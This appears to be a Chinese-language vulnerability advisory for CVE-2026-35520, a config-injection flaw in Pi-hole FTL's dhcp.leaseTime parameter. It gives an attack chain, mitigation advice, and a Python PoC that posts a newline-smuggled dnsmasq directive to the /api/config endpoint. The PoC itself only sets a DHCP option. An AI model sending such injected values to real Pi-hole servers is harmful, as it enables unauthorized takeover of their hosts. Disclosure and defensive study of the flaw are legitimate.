IPBUF安全漏洞报告
English
CVE-2026-35520 CVSS 8.8 高危

CVE-2026-35520 Pi-hole FTL 远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35520
漏洞类型
远程代码执行 (RCE) / 配置注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole FTL (FTLDNS)

相关标签

RCEPi-holeConfiguration InjectionDNSIoT

漏洞概述

Pi-hole FTL (FTLDNS) 组件在 6.0 至 6.6 之前的版本中存在严重的远程代码执行漏洞。该漏洞源于 DHCP 租约时间配置参数处理不当,允许经过身份验证的攻击者利用换行符注入恶意的 dnsmasq 配置指令,最终在底层系统上执行任意命令。此漏洞可能完全危及服务器安全。

技术细节

该漏洞的根本原因是 Pi-hole FTL 引擎在处理 `dhcp.leaseTime` 配置参数时,缺乏对特殊字符(特别是换行符)的有效过滤。当攻击者拥有 API 访问权限或管理界面权限时,可以在该字段中注入包含换行符的恶意字符串。FTL 在处理配置时会将用户输入直接拼接到 dnsmasq 的配置文件或启动参数中。换行符使得攻击者能够闭合当前的配置行,并追加任意的 dnsmasq 配置指令。利用这一机制,攻击者可以指定恶意的 DHCP 选项或利用 dnsmasq 的其他功能,从而在运行 Pi-hole 的宿主操作系统上执行任意系统命令。

攻击链分析

STEP 1
侦察与访问
攻击者识别目标为 Pi-hole 实例,并获取低权限的 API 访问凭证或会话令牌。
STEP 2
漏洞利用
攻击者向 `/api/config` 端点发送 POST 请求,修改 `dhcp.leaseTime` 参数,在其中插入换行符(\n)和恶意的 dnsmasq 配置指令。
STEP 3
配置重载
Pi-hole FTL 解析更新后的配置,由于未过滤换行符,恶意指令被写入 dnsmasq 配置并生效。
STEP 4
命令执行
dnsmasq 根据注入的指令执行操作,攻击者利用特定指令在底层系统上执行任意代码,获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Pi-hole API endpoint url = "http://<target-ip>/api/config" # Attacker's session cookie (Authentication required) cookies = { "PHPSESSID": "<valid-session-cookie>" } # Malicious payload injecting a newline and a dnsmasq config directive # This example attempts to add a malicious dhcp-option # The actual command execution depends on dnsmasq configuration capabilities payload = { "dhcp.leaseTime": "24h\ndhcp-option=6,1.1.1.1" # Injecting newline + directive } headers = { "Content-Type": "application/json" } try: response = requests.post(url, json=payload, headers=headers, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check if configuration was updated.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Pi-hole FTL >= 6.0, < 6.6

防御指南

临时缓解措施
如果无法立即升级,请严格限制对 Pi-hole 管理界面的访问权限,仅允许可信的内网 IP 访问,并确保所有管理员账户使用强密码。同时,应密切监控 DHCP 配置文件的异常变更和系统日志中的可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表